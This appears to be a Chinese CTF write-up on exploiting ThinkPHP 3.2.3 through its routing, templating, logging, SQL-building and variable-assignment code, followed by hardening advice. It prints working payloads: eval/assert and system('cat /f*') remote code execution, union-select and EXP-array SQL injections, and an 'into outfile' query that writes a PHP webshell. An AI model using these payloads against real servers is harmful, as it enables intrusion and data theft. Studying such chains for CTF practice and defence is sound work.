ctfshow ThinkPHP篇—3.2.3:从路由到RCE的漏洞链深度剖析

📅 2026/7/16 1:45:33 👁️ 阅读次数 📝 编程学习
ctfshow ThinkPHP篇—3.2.3:从路由到RCE的漏洞链深度剖析

1. ThinkPHP 3.2.3路由机制解析

ThinkPHP 3.2.3作为经典的PHP框架,其路由机制是安全审计的重点。我们先来看四种默认路由模式:

  • PATHINFO模式http://domain/index.php/模块/控制器/操作/参数/值
  • 普通模式http://domain/index.php?m=模块&c=控制器&a=操作&参数=值
  • 兼容模式http://domain/index.php?s=/模块/控制器/操作/参数/值
  • REWRITE模式http://domain/模块/控制器/操作/参数/值

在CTFshow靶场中,常见的漏洞触发点往往始于路由配置不当。比如当开启URL_ROUTER_ON时,框架会加载路由规则:

// Application/Common/Conf/config.php 'URL_ROUTE_RULES' => array( 'ctfshow/:f/:a' => function($f,$a){ call_user_func($f, $a); } )

这种配置直接将URL参数传递给call_user_func(),典型的危险操作。我在实际测试中发现,虽然直接传system('ls /')会被斜杠过滤,但通过assert+eval组合可以绕过:

/index.php/ctfshow/assert/eval($_POST[1]) POST: 1=system('cat /f*');

2. 控制器方法调用中的RCE漏洞

ThinkPHP的控制器方法调用机制存在多个危险函数入口。以IndexController.class.php为例:

namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($n=''){ $this->show($n); } }

TMPL_ENGINE_TYPE设置为php时,show()方法最终会执行:

// ThinkPHP/Library/Think/View.class.php if(!empty($_content)) { eval('?>'.$_content); // 直接执行PHP代码 }

这就形成了经典的模板注入漏洞。我在某次渗透测试中成功利用:

?n=<?php system('cat /flag');?>

3. 日志文件泄露与利用

开启调试模式时,ThinkPHP会在Application/Runtime/Logs/目录生成日志文件,命名格式为年_月_日.log。我曾通过爆破发现历史日志中包含测试用的木马:

// 21_04_05.log <?php @eval($_GET['showctf']);?>

利用方式极其简单:

/index.php?showctf=system('cat /f*');

4. SQL注入漏洞链分析

ThinkPHP 3.2.3的SQL注入主要出现在以下几种场景:

4.1 直接字符串拼接

$name = M('Users')->where('id='.$id)->find();

典型的数字型注入,payload示例:

?id=0) union select 1,flag,3,4 from flags%23

4.2 comment注入

$user = M('Users')->comment($id)->find(intval($id));

利用注释符实现文件写入:

?id=1*/ into outfile "/var/www/html/shell.php" lines terminated by "<?php eval($_POST[1]);?>" /*

4.3 EXP表达式注入

$map = array('id'=>$_GET['id']); $user = M('Users')->where($map)->find();

通过数组参数触发:

?id[0]=exp&id[1]==0 union select 1,flag,2,3 from flags%23

5. 变量覆盖到RCE的完整链条

最危险的漏洞链往往始于变量覆盖:

public function index($name='',$from='ctfshow'){ $this->assign($name,$from); $this->display('index'); }

跟踪assign()方法:

// ThinkPHP/Library/Think/View.class.php public function assign($name,$value=''){ if(is_array($name)){ $this->tVar = array_merge($this->tVar,$name); }else{ $this->tVar[$name] = $value; } }

结合display()中的extract()操作,最终在模板渲染时形成RCE:

?name[_content]=<?php system('cat /f*');?>

这个漏洞链的利用关键在于:

  1. 通过数组参数覆盖tVar变量
  2. extract()将数组键名转为变量
  3. 控制$_content进入eval()执行

6. 防御方案与最佳实践

根据实战经验,我总结出以下防护措施:

  1. 路由安全

    • 禁用URL_ROUTE_RULES中的匿名函数
    • 设置URL_PARAMS_FILTER对参数过滤
  2. 数据库操作

    • 使用预处理语句:
    $Model->where('id=%d',$id)->find();
    • 关闭调试模式:'APP_DEBUG' => false
  3. 模板渲染

    • 设置TMPL_ENGINE_TYPEThink而非php
    • 启用模板编译:'TMPL_CACHE_ON'=>true
  4. 日志管理

    • 设置LOG_FILE_SIZE限制日志大小
    • 定期清理Runtime目录

在最近一次企业级审计中,通过静态分析+动态fuzz的组合方案,我们发现了3处潜在的路由安全问题。建议开发者升级到ThinkPHP 5.0+版本,其路由机制和SQL构建器都进行了彻底重构,安全性有显著提升。